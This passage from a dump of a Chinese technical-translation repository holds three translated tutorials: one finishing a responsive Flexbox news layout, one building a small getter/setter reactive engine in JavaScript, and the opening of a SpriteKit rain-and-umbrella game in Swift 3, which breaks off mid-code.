      这里有两个元素: 1. 一个 `columns` 容器 2. 两个 `column` 子容器,其中一个添加名为 `main-column` 的 class 来使它更宽。 .columns { display: flex; } .column { flex: 1; } .main-column { flex: 2; } 因为 `main-column` 的 flex 值设为了 `2` ,它将会占用其他列的两倍的空间。 通过添加一些视觉效果,我们将得到: ## 2. 把每一列都变成 Flexbox 容器 这两列中的每一个都会垂直地堆积数篇文章,所以我们打算也把 `column` 元素移到 Flexbox 容器中。我们想要: * 文章被垂直堆积 * 文章可 _拉伸_ 并且可用 .column { display: flex; flex-direction: column; /* 确保文章垂直堆积 */ } .article { flex: 1; /* 拉伸文章填充整个保留空间 */ } _容器_ 上的 `flex-direction: column` 规则合并了 _子容器_ 上的 `flex: 1` 规则来确保文章可以充满整个垂直空间,也保证了两个第一列有相同的高度。 ## 3. 把每一篇文章都变成 Flexbox 容器 现在,为了给我们额外的控制,我们要把每一篇文章移到 Flexbox 容器下。这些文章都包含: * 一个标题 * 一段报道 * 一个带有作者和评论数量的信息栏 * 一张可选的响应图片 我们在这里使用 Flexbox 是为了把信息栏塞入底部。作为参照,这是我们的目标文章布局:
      ![](https://cms-assets.tutsplus.com/uploads/users/30/posts/26611/image/card.png)
      这里是代码:

      .article { display: flex; flex-direction: column; } .article-body { display: flex; flex: 1; flex-direction: column; } .article-content { flex: 1; /* 这将使文本填充保留空间,并且把信息栏塞入底部 */ } 多亏了 `flex-direction: column;` 规则,文章的元素都被垂直排列了。 我们给 `article-content` 元素使用 `flex: 1` 因此它可以填充整个空白空间,然后把 `article-info` 塞入底部,无论列的高度如何。 ## 4. 添加一些嵌套列 在左边一列,我们真正想要的是 _另一组_ 列。所以我们使用之前相同的 `columns` 容器来替换第二个文章。
      因为我们想要第一个嵌套列更宽一些,所以我们在附加效果中加入了 `nested-column` class: .nested-column { flex: 2; } 这将使新创建列的宽度是其他列的两倍。 ## 5. 给第一篇文章一个水平布局 第一篇文章太大了。为了优化使用空间,让我们把它的布局变成水平的。 .first-article { flex-direction: row; } .first-article .article-body { flex: 1; } .first-article .article-image { height: 300px; order: 2; padding-top: 0; width: 400px; } 这里的 `order` 属性非常有用,因为它允许我们不用影响 HTML 标记就可以修改 HTML 元素的顺序。这里的 `article-image` 在标记中实际上在 `article-body` 之前,但是它表现得好像在之后一样。 ## 6. 使布局可响应 这就是我们想要的所有效果,虽然看起来有点破碎。让我们通过响应式来修复它。。 Flexbox 一个非常好的特性是:如果想让 Flexbox 完全失效,你仅仅只需要移除容器上的 `display: flex` 规则即可,其他的所有 Flexbox 属性(比如 `align-items` 或者 `flex`)完全可以保留。 这样一来,仅通过某一特定断点就能触发 “响应式” 布局。 我们将从 `.columns` 和 `.column` 上移除 `display: flex` ,而不是把它们放入 Media Query (响应式布局)中。 @media screen and (min-width: 800px) { .columns, .column { display: flex; } } 这就是了!在更小的屏幕上,所有的文章都在另一篇文章的上面。超过 800px 时,它们将会排列成两列。 ## 7. 添加一些结束的润色 为了让布局在更大屏设备适应,让我们对 CSS 做一些微调: @media screen and (min-width: 1000px) { .first-article { flex-direction: row; } .first-article .article-body { flex: 1; } .first-article .article-image { height: 300px; order: 2; padding-top: 0; width: 400px; } .main-column { flex: 3; } .nested-column { flex: 2; } } 第一篇文章的内容是横向布局的,其中文字在左边,图片在右边。同样,主列更宽( 75% ),嵌套列也是 ( 66% )。这就是最终效果了! ## 结论 我希望我已经展示给你了:在你刚接触 Flexbox 的时候没有必要理解关于 Flexbox 的所有方面。这个可响应的新闻布局是一个非常有用的模版;拆解并且尝试一下,看看你掌握了多少! ================================================ FILE: TODO/how-to-build-a-reactive-engine-in-javascript-part-1-observable-objects.md ================================================ > * 原文地址:[How to build a reactive engine in JavaScript. Part 1: Observable objects](https://monterail.com/blog/2016/how-to-build-a-reactive-engine-in-javascript-part-1-observable-objects) > * 原文作者:本文已获原作者 [Damian Dulisz](https://disqus.com/by/damiandulisz/) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[IridescentMia](https://github.com/IridescentMia) > * 校对者:[reid3290](https://github.com/reid3290),[malcolmyu](https://github.com/malcolmyu) ![](https://d4a7vd7s8p76l.cloudfront.net/uploads/1484604970-4-7876/observables.png) # 如何使用 JavaScript 构建响应式引擎 —— Part 1:可观察的对象 # ## 响应式的方式 ## 随着对强健、可交互的网站界面的需求不断增多,很多开发者开始拥抱响应式编程规范。 在开始实现我们自己的响应式引擎之前,快速地解释一下到底什么是响应式编程。维基百科给出一个经典的响应式界面实现的例子 —— 叫做 spreadsheet。定义一个准则,对于 `=A1+B1`,只要  `A1` 或 `B1` 发生变化,`=A1+B1` 也会随之变化。这样的准则也可以被理解为是一种 computed value。 我们将会在这系列教程的 Part 2 部分学习如何实现 computed value。在那之前,我们首先需要对响应式引擎有个基础的了解。 ## 引擎 ## 目前有很多不同解决方案可以观察到应用状态的改变,并对其做出反应。 - Angular 1.x 有脏检查。 - React 由于它工作方式,并不追踪数据模型中的改变。它用虚拟 DOM 比较并修补 DOM。 - Cycle.js 和 Angular 2 更倾向于响应流方式实现,像 XStream 和 Rx.js。 - 像 Vue.js, MobX 或 Ractive.js 这些库都使用 getters/setters 变量创建可观察的数据模型。 在这篇教程中,我们将使用 getters/setters 的方式观察并响应变化。 > 注意:为了让这篇教程尽量保持简单,代码缺少对非初级数据类型或嵌套属性的支持,并且很多内容需要完整性检查,因此决不能认为这些代码已经可以用于生产环境。下面的代码是受 Vue.js 启发的响应式引擎的实现,使用 ES2015 标准编写。 ## 可观察的对象 ## 让我们从一个 `data` 对象开始,我们想要观察它的属性。 ``` let data = { firstName: 'Jon', lastName: 'Snow', age: 25 } ``` 首先从创建两个函数开始,使用 getter/setter 的功能,将对象的普通属性转换成可观察的属性。 ``` function makeReactive (obj, key) { let val = obj[key] Object.defineProperty(obj, key, { get () {      return val // 简单地返回缓存的 value }, set (newVal) {      val = newVal // 保存 newVal      notify(key) // 暂时忽略这里 } }) } // 循环迭代对象的 keys function observeData (obj) { for (let key in obj) { if (obj.hasOwnProperty(key)) { makeReactive(obj, key) } } } observeData(data) ``` 通过运行 `observeData(data)`,将原始的对象转换成可被观察的对象;现在当对象的 value 发生变化时,我们有创建通知的办法。 ## 响应变化 ## 在我们开始接收 *notifying* 前,我们需要一些通知的内容。这里是使用观察者模式的一个极好例子。在这个案例中我们将使用 signals 实现。 我们从 `observe` 函数开始。 ``` let signals = {} // Signals 从一个空对象开始 function observe (property, signalHandler) {  if(!signals[property]) signals[property] = [] // 如果给定属性没在 signal 中,则创建这个属性的 signal,并将其设置为空数组来存储 signalHandlers  signals[property].push(signalHandler) // 将 signalHandler 存入 signal 数组,高效地获得一组保存在数组中的回调函数 } ``` 我们现在可以这样用 `observe` 函数:`observe('propertyName', callback)`,每次属性值发生改变的时候 `callback` 函数应该被调用。当多次在一个属性上调用 **observe** 时,每个回调函数将被存在对应属性的 signal 数组中。这样就可以存储所有的回调函数并且可以很容易地获得到它们。 现在来看一下上文中提到的 `notify` 函数。 ``` function notify (signal, newVal) {  if(!signals[signal] || signals[signal].length < 1) return // 如果没有 signal 的处理器则提前 return  signals[signal].forEach((signalHandler) => signalHandler()) // 调用给定属性的每个 signalHandler } ``` 如你所见,现在每次一个属性发生变化,就会调用对其分配的 signalHandlers。 所以我们把它全部封装起来做成一个工厂函数,传入想要响应的数据对象。我把它命名为 `Seer`。我们最终得到如下: ``` function Seer (dataObj) { let signals = {} observeData(dataObj)  // 除了响应式的数据对象,我们也需要返回并且暴露出 observe 和 notify 函数。  return { data: dataObj, observe, notify } function observe (property, signalHandler) { if(!signals[property]) signals[property] = [] signals[property].push(signalHandler) } function notify (signal) { if(!signals[signal] || signals[signal].length < 1) return signals[signal].forEach((signalHandler) => signalHandler()) } function makeReactive (obj, key) { let val = obj[key] Object.defineProperty(obj, key, { get () { return val }, set (newVal) { val = newVal notify(key) } }) } function observeData (obj) { for (let key in obj) { if (obj.hasOwnProperty(key)) { makeReactive(obj, key) } } } } ``` 现在我们需要做的就是创建一个新的可响应对象。多亏了暴露出来的 `notify` 和 `observe` 函数,我们可以观察到并响应对象的改变。 ``` const App = new Seer({ title: 'Game of Thrones', firstName: 'Jon', lastName: 'Snow', age: 25 }) // 为了订阅并响应可响应 APP 对象的改变: App.observe('firstName', () => console.log(App.data.firstName)) App.observe('lastName', () => console.log(App.data.lastName)) // 为了触发上面的回调函数,像下面这样简单地改变 values: App.data.firstName = 'Sansa' App.data.lastName = 'Stark' ``` 很简单,是不是?现在我们讲完了基本的响应式引擎,让我们来用用它。 我提到过随着前端编程可响应式方法的增多,我们不能总想着在发生改变后手动地更新 DOM。 有很多方法来完成这项任务。我猜现在最流行的趋势是用虚拟 DOM 的办法。如果你对学习如何创建你自己的虚拟 DOM 实现感兴趣,已经有很多这方面的教程。然而,这里我们将用到更简单的方法。 HTML 看起来像这样: `html

      Title comes here

      ` 响应式更新 DOM 的函数看起来像这样: ``` // 首先需要获得想要保持更新的节点。 const h1Node = document.querySelector('h1') function syncNode (node, obj, property) {  // 用可见对象的属性值初始化 h1 的 textContent 值  node.textContent = obj[property]  // 开始用我们的 Seer 的实例 App.observe 观察属性。  App.observe(property, value => node.textContent = obj[property] || '') } syncNode(h1Node, App.data, 'title') ``` 这样做是可行的,但是使用它把所有数据模型绑定到 DOM 元素需要大量的工作。 这就是我们为什么要再向前迈一步,然后将所有这些自动化完成。 如果你熟悉 AngularJS 或者 Vue.js,你肯定记得使用自定义属性 `ng-bind` 或 `v-text`。我们在这里创建类似的东西。 我们的自定义属性叫做 `s-text`。我们将寻找在 DOM 和数据模型之间建立绑定的方式。 让我们更新一下 HTML: ```

      Title comes here

      function parseDOM (node, observable) {  // 获得所有具有自定义属性 s-text 的节点 const nodes = document.querySelectorAll('[s-text]')  // 对于每个存在的节点,我们调用 syncNode 函数  nodes.forEach((node) => { syncNode(node, observable, node.attributes['s-text'].value) }) } // 现在我们需要做的就是在根节点 document.body 上调用它。所有的 `s-text` 节点将会自动的创建与之对应的响应式属性的绑定。 parseDOM(document.body, App.data) ``` ## 总结 ## 现在我们可以解析 DOM 并且将数据模型绑定到节点上,把这两个函数添加到 Seer 工厂函数中,这样就可以在初始化的时候解析 DOM。 结果应该像下面这样: ``` function Seer (dataObj) { let signals = {} observeData(dataObj) return { data: dataObj, observe, notify } function observe (property, signalHandler) { if(!signals[property]) signals[property] = [] signals[property].push(signalHandler) } function notify (signal) { if(!signals[signal] || signals[signal].length < 1) return signals[signal].forEach((signalHandler) => signalHandler()) } function makeReactive (obj, key) { let val = obj[key] Object.defineProperty(obj, key, { get () { return val }, set (newVal) { val = newVal notify(key) } }) } function observeData (obj) { for (let key in obj) { if (obj.hasOwnProperty(key)) { makeReactive(obj, key) } }    //转换数据对象后,可以安全地解析 DOM 绑定。    parseDOM(document.body, obj) } function syncNode (node, observable, property) { node.textContent = observable[property]    // 移除了 `Seer.` 是因为 observe 函数在可获得的作用域范围之内。    observe(property, () => node.textContent = observable[property]) } function parseDOM (node, observable) { const nodes = document.querySelectorAll('[s-text]') nodes.forEach((node) => { syncNode(node, observable, node.attributes['s-text'].value) }) } } ``` JsFiddle 上的例子: HTML ```

      ``` JS ``` // 代码用了 ES2015,使用兼容的浏览器才可以哦,比如 Chrome,Opera,Firefox function Seer (dataObj) { let signals = {} observeData(dataObj) return { data: dataObj, observe, notify } function observe (property, signalHandler) { if(!signals[property]) signals[property] = [] signals[property].push(signalHandler) } function notify (signal) { if(!signals[signal] || signals[signal].length < 1) return signals[signal].forEach((signalHandler) => signalHandler()) } function makeReactive (obj, key) { let val = obj[key] Object.defineProperty(obj, key, { get () { return val }, set (newVal) { val = newVal notify(key) } }) } function observeData (obj) { for (let key in obj) { if (obj.hasOwnProperty(key)) { makeReactive(obj, key) } }    //转换数据对象后,可以安全地解析 DOM 绑定。 parseDOM(document.body, obj) } function syncNode (node, observable, property) { node.textContent = observable[property] // 移除了 `Seer.` 是因为 observe 函数在可获得的作用域范围之内。 observe(property, () => node.textContent = observable[property]) } function parseDOM (node, observable) { const nodes = document.querySelectorAll('[s-text]') for (const node of nodes) { syncNode(node, observable, node.attributes['s-text'].value) } } } const App = Seer({ title: 'Game of Thrones', firstName: 'Jon', lastName: 'Snow', age: 25 }) function updateText (property, e) { App.data[property] = e.target.value } function resetTitle () { App.data.title = "Game of Thrones" } ``` Resources ``` EXTERNAL RESOURCES LOADED INTO THIS FIDDLE: bootstrap.min.css ``` Result ![Markdown](http://i2.buimg.com/1949/cf89248985467d6f.png) 上文的代码可以在这里找到: [github.com/shentao/seer](https://github.com/shentao/seer/tree/master) ## 未完待续…… ## 这篇是制作你自己的响应式引擎系列文章中的第一篇。 **[下一篇](https://github.com/xitu/gold-miner/blob/master/TODO/computed-properties-javascript-dependency-tracking.md) 将是关于创建 computed properties,每个属性都有它自己的可追踪依赖。** 非常欢迎在评论区提出你对于下一篇文章讲述内容的反馈和想法! 感谢阅读。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/how-to-build-a-spritekit-game-in-swift-3-part-1.md ================================================ > * 原文地址:[How To Build A SpriteKit Game In Swift 3 (Part 1)](https://www.smashingmagazine.com/2016/11/how-to-build-a-spritekit-game-in-swift-3-part-1/) * 原文作者:[Marc Vandehey](https://www.smashingmagazine.com/author/marcvandehey/) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Gocy](https://github.com/Gocy015/) * 校对者:[Tuccuay](https://github.com/Tuccuay), [DeepMissea](https://github.com/DeepMissea) # 如何在 Swift 3 中用 SpriteKit 框架编写游戏 (Part 1) **你有没有想过要如何开始创作一款基于 SpriteKit 的游戏?开发一款基于真实物理规则的游戏是不是让你望而生畏?随着 [SpriteKit](https://developer.apple.com/spritekit/)[\[1\]](#note-1) 的出现,在 iOS 上开发游戏已经变得空前的简单了。** 本系列将分为三个部分,带你探索 SpriteKit 的基础知识。我们会接触到物理引擎( SKPhysics )、碰撞、纹理管理、互动、音效、音乐、按钮以及场景( `SKScene` ) 。这些看上去艰深晦涩的东西其实非常容易掌握。赶紧跟着我们一起开始编写 RainCat 吧。 [![Raincat: 第一课](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header-preview-opt.png)[\[2\]](#note-2) RainCat,第一课 我们将要实现的这个游戏有一个简单的前提:我们想喂饱一只饥肠辘辘的猫,但它现在正孤身地站在雨中。不巧地是,RainCat 并不喜欢下雨天,而它被淋湿之后就会觉得很难过。为了让它能在大吃的时候不被雨水淋到,我们必须要替它撑把伞。想先体验一下我们的目标成果的话,看看 [完整项目](https://itunes.apple.com/us/app/raincat/id1152624676?ls=1&mt=8)[\[3\]](#note-3) 吧。项目中会有一些文章里不会涉及到的进阶内容,但你可以稍后在 GitHub 上面看到这些内容。本系列的目标是让你深刻地理解做一个简单地游戏需要投入些什么。你可以随时与我们联系,并把这些代码作为将来其它项目的参考。我将会持续更新代码库,添加一些有趣的新功能并对一些部分进行重构。 在本文中,我们将: - 查看 RainCat 游戏的初始代码; - (为游戏)添加地面; - (为游戏)添加雨滴; - 初始化物理引擎; - 添加雨伞对象,替猫儿遮雨; - 利用 `categoryBitMask` 和 `contactTestBitMask` 来实现碰撞检测; - 创造一个全局边界( world boundary )来移除落出屏幕的结点( node )。 ### 入门 接下来有几件事需要你跟着完成。为了让你轻松起步,我准备好了一个基础工程。这个工程把 Xcode 8 在创建新的 SpriteKit 工程时联带生成的冗余代码都删的一干二净了。 - 从 [这里](https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-initial-code)[\[4\]](#note-4) 下载 RainCat 游戏工程的基础代码。 - 安装 Xcode 8。 - 找一台测试机器!在本例中,你应该找一台 iPad ,这样可以避免做复杂的屏幕适配。模拟器也是可以的,但是操作上会有延迟,而且比在真实设备上的帧数低不少。 ### 查看工程代码 我已经帮你起了个好头了,创建好了 RainCat 工程,还做了一些初始化的工作。打开这个 Xcode 工程。现在,项目看起来还非常的简单基础。我们先梳理一下现在的情况:我们创建了一个工程,指定运行系统为 iOS 10,运行设备为 iPad ,并且只支持设备的水平方向。如果我们要在较旧的设备上进行测试,我们也可以把系统版本设定为更早的版本,Swift 3 至多支持到 iOS 8 。当然,让你的应用支持起码比最新版本要早一个版本的系统也是一个很好的实践。不过需要注意:本教程内容仅针对 iOS 10 ,如果你要支持更早的版本的话,可能会出现一些问题。 决定利用 Swift 3 来实现这个游戏的原因: iOS 开发者社区非常积极地参与到了 Swift 3 的发布过程中,带来了许多编码风格上的变化和全方位的升级。由于新版本的 iOS 系统在 Apple 用户群体中覆盖速率快、面积广,我们认为,使用最新发布的 Swift 版本来编写这篇教程是最合适的。 在 `GameViewController.swift` 中有一个标准的 [`UIViewController`](https://developer.apple.com/library/content/referencelibrary/GettingStarted/DevelopiOSAppsSwift/Lesson4.html)[\[5\]](#note-5) 子类 ,我们修改了一些初始化 `GameScene.swift` 中的 [`SKScene`](https://developer.apple.com/reference/spritekit/skscene)[\[6\]](#note-6) 的代码。在做这些改动之前,我们会通过一个 SpriteKit 场景编辑器文件( SpriteKit scene editor (SKS) file )来读取 `GameScene` 类。在本教程中,我们将直接读取这个场景,而不是使用更复杂的 SKS 文件。如果你想更深入地了解 SKS 文件的相关知识, Ray Wenderlich 有一篇 [极佳的文章](https://www.raywenderlich.com/118225/introduction-sprite-kit-scene-editor)[\[7\]](#note-7) 。 ### 获取资源文件 在我们写代码之前,要先获取项目中会用到的资源。今天我们会用到雨伞和雨滴。你可以在 GitHub 上找到这些 [纹理](https://github.com/thirteen23/RainCat/tree/smashing-day-1/dayOneAssets.zip)[\[8\]](#note-8) 。将它们添加到 Xcode 左部面板的 `Assets.xcassets` 文件夹中。当你点击 `Assets.xcassets` 文件,你会见到一个带有 `AppIcon` 占位符的空白界面。在 Finder 中选中所有(解压的资源文件),并把它们都拖到 `AppIcon` 占位符的下面。如果你正确进行了上述操作,你的 “Assets” 文件看起来应该是这样: [![程序的资源文件](https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-preview-opt.png)[\[9\]](#note-9) 虽然你不能从白色的背景上分辨出白色的伞尖,但我保证,它是在那儿的。 ### 是时候动手编码了 现在我们已经做足了各项准备工作,我们可以开始动手开发游戏啦。 我们首先要做出个地面,好腾出地方来遛猫和喂猫。由于背景和地面都非常的简单,我们可以把这些精灵( sprite )放到一个自定义的背景结点( node )中。在 Xcode 左部面板的 “Sprites” 文件夹下,创建名为 `BackgroundNode.swift` 的 Swift 源文件,并添加以下代码: ``` import SpriteKit public class BackgroundNode : SKNode { public func setup(size : CGSize) { let yPos : CGFloat = size.height * 0.10 let startPoint = CGPoint(x: 0, y: yPos) let endPoint = CGPoint(x: size.width, y: yPos) physicsBody = SKPhysicsBody(edgeFrom: startPoint, to: endPoint) physicsBody?.restitution = 0.3 } } ``` 上面的代码引用了 SpriteKit 框架。这是 Apple 官方的用于开发游戏的资源库。在我们接下来新建的大部分源文件中,我们都会用到它。我们创建的这个对象是一个 [`SKNode`](https://developer.apple.com/reference/spritekit/sknode)[\[10\]](#note-10) 实例,我们会把它作为背景元素的容器。目前,我们仅仅是在调用 `setup(size:)` 方法的时候为其添加了一个 [`SKPhysicsBody`](https://developer.apple.com/reference/spritekit/skphysicsbody)[\[11\]](#note-11) 实例。这个物理实体( physics body )会告诉我们的场景( scene ),其定义的区域(目前只有一条线),能够和其它的物理实体和 [物理世界( physics world )](https://developer.apple.com/reference/spritekit/skphysicsworld)[\[12\]](#note-12) 进行交互。我们还改变了 `restitution` 的值。这个属性决定了地面的弹性。想让这个对象为我们所用,我们需要把它加入 `GameScene` 中。切换到 `GameScene.swift` 文件中,在靠近顶部,一串 `TimeInterval` 变量的下面,添加如下代码: ``` private let backgroundNode = BackgroundNode() ``` 然后,在 `sceneDidLoad()` 方法中,我们可以初始化背景,并将其加入场景中: ``` backgroundNode.setup(size: size) addChild(backgroundNode) ``` 现在,如果我们运行程序,我们将会看到如图的游戏场景: [![空白场景](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Empty-scene-preview-opt.png) ](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Empty-scene-preview-opt.png)[\[13\]](#note-13) 我们的略微空旷的场景。 如果你没看见那条线,那说明你在将结点( node )加入场景时出现了错误,要么就是场景现在不显示物理实体。要控制这些选项的开关,只需要在 `GameViewController.swift` 中修改下列选项即可: ``` if let view = self.view as! SKView? { view.presentScene(sceneNode) view.ignoresSiblingOrder = true view.showsPhysics = true view.showsFPS = true view.showsNodeCount = true } ``` 现在,确保 `showsPhysics` 属性被设为 `true` 。这有助于我们调试物理实体。尽管眼下并没有什么值得特别关注的地方,但这个背景将会充当雨滴下落反弹时的地面,也会作为猫咪行走时的边界。 接下来,我们来添加一些雨水。 如果我们在把雨滴加入场景之前思考一下,就会明白在这儿我们需要一个可复用的方法来原子性地添加雨滴。雨滴元素将由一个 `SKSpriteNode` 和另外一个物理实体构成。你可以用一张图片或是一块纹理来实例化一个 `SKSpriteNode` 对象。明白了这点,并且想到我们应该会添加许多的雨滴,我们就知道自己应该做一些复用了。有了这个想法,我们就可以复用纹理,而不必每次创建雨滴元素时都创建新的纹理了。 在 `GameScene.swift` 文件的顶部,实例化 `backgroundNode` 的前面,加入下面这行代码: ``` let raindropTexture = SKTexture(imageNamed: "rain_drop") ``` 现在我们就可以在创建雨滴时进行复用,而不需要在每次都浪费内存来生成一份新的纹理了。 接着,在 `GameScene.swift` 的底部,加入下述代码,以便我们方便的创建雨滴: ``` private func spawnRaindrop() { let raindrop = SKSpriteNode(texture: raindropTexture) raindrop.physicsBody = SKPhysicsBody(texture: raindropTexture, size: raindrop.size) raindrop.position = CGPoint(x: size.width / 2, y: size.height / 2) addChild(raindrop) } ``` 该方法被调用时,会利用我们刚刚创建的 `raindropTexture` 来生成一个新的雨滴结点。然后,我们通过纹理的形状创建 `SKPhysicsBody`,将结点位置设置为场景中央,并最终将其加入场景中。由于我们为雨滴结点添加了 `SKPhysicsBody` ,它将会自动地受到默认的重力作用并滴落至地面。为了测试这段代码,我们可以在 `touchesBegan(_ touches:, with event:)` 中调用这个方法,并看到如图的效果: [![下起雨吧](https://www.smashingmagazine.com/wp-content/uploads/2016/10/first-rain-fall.gif)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/first-rain-fall.gif)[\[14\]](#note-14) 让雨水来的更猛烈些吧 只要我们不断地点击屏幕,雨滴就会源源不断地出现。这仅仅是出于测试的目的;毕竟最终我们想要控制的是雨伞,而不是雨水落下的速率。玩够了之后,我们就该把代码从 `touchesBegan(_ touches:, with event:)` 中删除,并将其绑定到我们的 `update` 循环中了。我们有一个名为 `update(_ currentTime:)` 的方法,我们希望在这个方法中进行降雨操作。方法中已经有一些基础代码了;目前,我们仅仅是测量时间差,但一会儿,我们将用它来更新其它的精灵元素。在这个方法的底部,更新 `self.lastUpdateTime` 变量之前,添加如下代码: ``` // Update the spawn timer currentRainDropSpawnTime += dt if currentRainDropSpawnTime > rainDropSpawnRate { currentRainDropSpawnTime = 0 spawnRaindrop() } ``` 上述代码在每次累加的时间差大于 `rainDropSpawnRate` 的时候,就会新建一个雨滴。`rainDropSpawnRate` 目前是 0.5 秒;也就是说,每过半秒钟就会有新的雨滴被创建并落至地面。运行程序来测试一下吧。现在你不需要点击屏幕,而是每过半秒就有一滴新的雨滴被创建并下落,就像之前一样。 但这还不够好。我们可不想所有雨滴都出现在同一个地方,更别说都从屏幕中间开始往下落了。我们可以更新 `spawnRaindrop()` 方法来随机化每个新雨滴的 `x` 坐标,并将它们放到屏幕顶部。 找到 `spawnRaindrop()` 方法中的这行代码: ``` raindrop.position = CGPoint(x: size.width / 2, y: size.height / 2) ``` 将其替换成如下代码: ``` let xPosition = CGFloat(arc4random()).truncatingRemainder(dividingBy: size.width) let yPosition = size.height + raindrop.size.height raindrop.position = CGPoint(x: xPosition, y: yPosition) ``` 在创建雨滴之后,我们利用 `arc4Random()` 来随机化 `x` 坐标,并通过调用 `truncatingRemainder` 来确保坐标在屏幕范围内。现在运行程序,你应该可以看到这样的效果: [![雨下一整天!](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Raindrops-for-days-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Raindrops-for-days-preview-opt.png)[\[15\]](#note-15) 这雨可以下好几天! 我们可以尝试不同的雨滴生成速率,雨滴生成的快慢将会根据我们设置的值变化。将 `rainDropSpawnRate` 设置为 `0` ,你将会看到漫天的雨滴。但如果你真的这么做了,你就会发现一个严重的问题。我们相当于创建了无数个对象,并且永远没有清除它们的机制,我们的帧率最终会掉到四帧左右,并且很快就会超出内存限制。 ### 监测碰撞 我们目前只需要考虑两种碰撞。雨滴之间的碰撞以及雨滴和地面的碰撞。我们需要监测雨滴碰撞到其它实体时的情况,并判断是否要移除雨滴。我们将引入另一个物理实体来充当全局边界( world frame )。任何触碰到边界的对象都会被销毁,内存压力也将得到缓解。我们还需要区分不同的物理实体。幸运的是,`SKPhysicsBody` 有一个名为 `categoryBitMask` 的属性。这个属性将帮助我们区分互相发生接触的对象。 要完成上述工作,我们将在 Xcode 左部面板的 “Support” 文件夹下新创建一个 `Constants.swift` 源文件。这个 “Constants” 文件将统一管理我们在整个工程中会用到的硬编码值( hardcode value )。我们并不会用到许多这种类型的变量,但把它们放在同一个地方管理是一个好习惯,这样我们就不需要在工程中到处寻找它们了。创建完文件后,在里面添加如下的代码: ``` let WorldCategory : UInt32 = 0x1 << 1 let RainDropCategory : UInt32 = 0x1 << 2 let FloorCategory : UInt32 = 0x1 << 3 ``` 上述的代码运用了 [移位运算符](http://www-numi.fnal.gov/offline_software/srt_public_context/WebDocs/Companion/cxx_crib/shift.html)[\[16\]](#note-16) 来为不同物理实体的 [`categoryBitMasks`](https://developer.apple.com/reference/spritekit/skphysicsbody/1519869-categorybitmask)[\[17\]](#note-17) 设置不同的唯一值。`0x1 << 1` 是十六进制的 1 ,`0x1 << 2` 是十六进制的 2 ,`0x1 << 3` 是十六进制的 4 ,后续的值依此类推,为前一个值的两倍。在设置这些特定的类别( category )之后,回到 `BackgroundNode.swift` 文件中,将我们的物理实体更新为刚创建的 `FloorCategory` 。接着,我们还要将地面物理实体设置为可触碰的。为了达到这个目的,将 `RainDropCategory` 添加到地面元素的 `contactTestBitMask` 中。如此一来,当我们将这些元素加入 `GameScene.swift` 中时,我们就能在二者(雨滴和地面)接触时收到回调了。`BackgroundNode` 代码如下: ``` import SpriteKit public class BackgroundNode : SKNode { public func setup(size : CGSize) { let yPos : CGFloat = size.height * 0.10 let startPoint = CGPoint(x: 0, y: yPos) let endPoint = CGPoint(x: size.width, y: yPos) physicsBody = SKPhysicsBody(edgeFrom: startPoint, to: endPoint) physicsBody?.restitution = 0.3 physicsBody?.categoryBitMask = FloorCategory physicsBody?.contactTestBitMask = RainDropCategory } } ``` 下一步则是为雨滴元素设置正确的类别,并为其添加可触碰元素。回到 `GameScene.swift` 中,在 `spawnRaindrop()` 方法中初始化雨滴物理实体的代码后面添加: ``` raindrop.physicsBody?.categoryBitMask = RainDropCategory raindrop.physicsBody?.contactTestBitMask = FloorCategory | WorldCategory ``` 注意,此处我们也添加了 `WorldCategory` 。由于我们此处使用的是 [位掩码( bitmask )](https://en.wikipedia.org/wiki/Mask_%28computing%29)[\[18\]](#note-18) ,我们可以通过 [位运算( bitwise operation)](https://en.wikipedia.org/wiki/Bitwise_operation)[\[19\]](#note-19) 来添加任何我们想要的类别。而对于本例中的 `raindrop` 实例,我们希望监听它与 `FloorCategory` 以及 `WorldCategory` 发生碰撞时的信息。现在,我们终于可以在 `sceneDidLoad()` 方法中加入我们的全局边界了: ``` var worldFrame = frame worldFrame.origin.x -= 100 worldFrame.origin.y -= 100 worldFrame.size.height += 200 worldFrame.size.width += 200 self.physicsBody = SKPhysicsBody(edgeLoopFrom: worldFrame) self.physicsBody?.categoryBitMask = WorldCategory ``` 在上述代码中,我们创建了一个和场景形状相同的边界,只不过我们将每个边都扩张了 100 个点。这相当于创建了一个缓冲区,使得元素在离开屏幕后才会被销毁。注意我们所使用的 `edgeLoopFrom` ,它创建了一个空白矩形,其边界可以和其它元素发生碰撞。 现在,一切用于检测碰撞的准备都已经就绪了,我们只需要监听它就可以了。为我们的游戏场景添加对 `SKPhysicsContactDelegate` 协议的支持。在文件的顶部,找到这一行代码: ``` class GameScene: SKScene { ``` 把它改成这样: ``` class GameScene: SKScene, SKPhysicsContactDelegate { ``` 现在,我们需要监听场景的 [`physicsWorld`](https://developer.apple.com/reference/spritekit/skphysicsworld)[\[20\]](#note-20) 中所发生的碰撞。在 `sceneDidLoad()` 中,我们设置全局边界的逻辑下面添加如下代码: ``` self.physicsWorld.contactDelegate = self ``` 接着,我们需要实现 `SKPhysicsContactDelegate` 中的一个方法,`didBegin(_ contact:)`。每当带有我们预先设置的 `contactTestBitMasks` 的物体碰撞发生时,这个方法就会被调用。在 `GameScene.swift` 的底部,加入如下代码: ``` func didBegin(_ contact: SKPhysicsContact) { if (contact.bodyA.categoryBitMask 